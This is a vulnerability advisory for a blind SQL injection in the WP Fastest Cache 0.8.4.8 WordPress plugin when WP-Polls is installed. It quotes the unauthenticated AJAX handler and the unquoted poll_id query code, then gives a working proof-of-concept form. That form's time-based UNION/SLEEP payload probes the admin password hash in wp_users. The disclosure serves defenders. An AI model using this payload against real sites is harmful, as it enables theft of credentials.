WP Fastest Cache 0.8.4.8 Blind SQL Injection

Homepage:

https://wordpress.org/plugins/wp-fastest-cache/

CVSS Score

4.3

CVSS Vector

(AV:N/AC:M/Au:N/C:P/I:N/A:N)

Description:

For this vulnerabilities also WP-Polls needs to be installed.

Everyone can access wpfc_wppolls_ajax_request().

File: wp-fastest-cache\inc\wp-polls.php

public function hook(){
	add_action( 'wp_ajax_nopriv_wpfc_wppolls_ajax_request', array($this, "wpfc_wppolls_ajax_request"));
	add_action( 'wp_ajax_wpfc_wppolls_ajax_request', array($this, "wpfc_wppolls_ajax_request"));

}

$_POST["poll_id"] is not escaped properly because mysql_real_escape_string() only escapes \x00, \n, \r, \, ‘, “ and \x1a.

File: wp-fastest-cache\inc\wp-polls.php

public function wpfc_wppolls_ajax_request() {
	$id = strip_tags($_POST["poll_id"]);
	$id = mysql_real_escape_string($id);

	$result = check_voted($id);

	if($result){
		echo "true";
	}else{
		echo "false";
	}
	die();
}

So we can put SQL Injection inside check_voted_ip() or check_voted_username because $poll_id is not escaped.

File: wp-polls\wp-polls.php

function check_voted($poll_id) {
	$poll_logging_method = intval(get_option('poll_logging_method'));
	switch($poll_logging_method) {
		// Do Not Log
		case 0:
			return 0;
			break;
		// Logged By Cookie
		case 1:
			return check_voted_cookie($poll_id);
			break;
		// Logged By IP
		case 2:
			return check_voted_ip($poll_id);
			break;
		// Logged By Cookie And IP
		case 3:
			$check_voted_cookie = check_voted_cookie($poll_id);
			if(!empty($check_voted_cookie)) {
				return $check_voted_cookie;
			} else {
				return check_voted_ip($poll_id);
			}
			break;
		// Logged By Username
		case 4:
			return check_voted_username($poll_id);
			break;
	}
}
function check_voted_ip($poll_id) {
	global $wpdb;
	$log_expiry = intval(get_option('poll_cookielog_expiry'));
	$log_expiry_sql = '';
	if($log_expiry > 0) {
		$log_expiry_sql = 'AND ('.current_time('timestamp').'-(pollip_timestamp+0)) < '.$log_expiry;
	}
	// Check IP From IP Logging Database
	$get_voted_aids = $wpdb->get_col("SELECT pollip_aid FROM $wpdb->pollsip WHERE pollip_qid = $poll_id AND pollip_ip = '".get_ipaddress()."' $log_expiry_sql");
	if($get_voted_aids) {
		return $get_voted_aids;
	} else {
		return 0;
	}
}
function check_voted_username($poll_id) {
	global $wpdb, $user_ID;
	// Check IP If User Is Guest
	if (!is_user_logged_in()) {
		return 1;
	}
	$pollsip_userid = intval($user_ID);
	$log_expiry = intval(get_option('poll_cookielog_expiry'));
	$log_expiry_sql = '';
	if($log_expiry > 0) {
		$log_expiry_sql = 'AND ('.current_time('timestamp').'-(pollip_timestamp+0)) < '.$log_expiry;
	}
	// Check User ID From IP Logging Database
	$get_voted_aids = $wpdb->get_col("SELECT pollip_aid FROM $wpdb->pollsip WHERE pollip_qid = $poll_id AND pollip_userid = $pollsip_userid $log_expiry_sql");
	if($get_voted_aids) {
		return $get_voted_aids;
	} else {
		return 0;
	}
}

Proof of Concept:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wpfc_wppolls_ajax_request">
	<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
	<input type="submit" value="Send">
</form>

This SQL will check if first password character user ID=1 is “$”.

If yes, it will sleep 5 seconds.

Timeline: